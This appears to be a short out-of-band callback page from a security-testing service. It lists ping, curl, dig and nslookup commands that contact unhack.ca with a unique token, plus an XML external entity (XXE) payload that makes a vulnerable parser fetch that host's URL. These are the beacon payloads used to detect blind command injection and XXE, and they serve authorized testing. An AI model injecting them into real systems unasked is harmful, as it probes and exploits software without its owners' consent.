$ ping -c1 -p 00f1eff3b6120f23ee219b9f60440b00 unhack.ca
 
$ curl http://unhack.ca/p/f1eff3b6120f23ee219b9f60440b
 
$ dig f1eff3b6120f23ee219b9f60440b @unhack.ca
 
$ dig f1eff3b6120f23ee219b9f60440b.ns.unhack.ca
 
C:\> nslookup f1eff3b6120f23ee219b9f60440b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1eff3b6120f23ee219b9f60440b">]>
    <foo>&xxe;</foo>
 
Waiting for ping...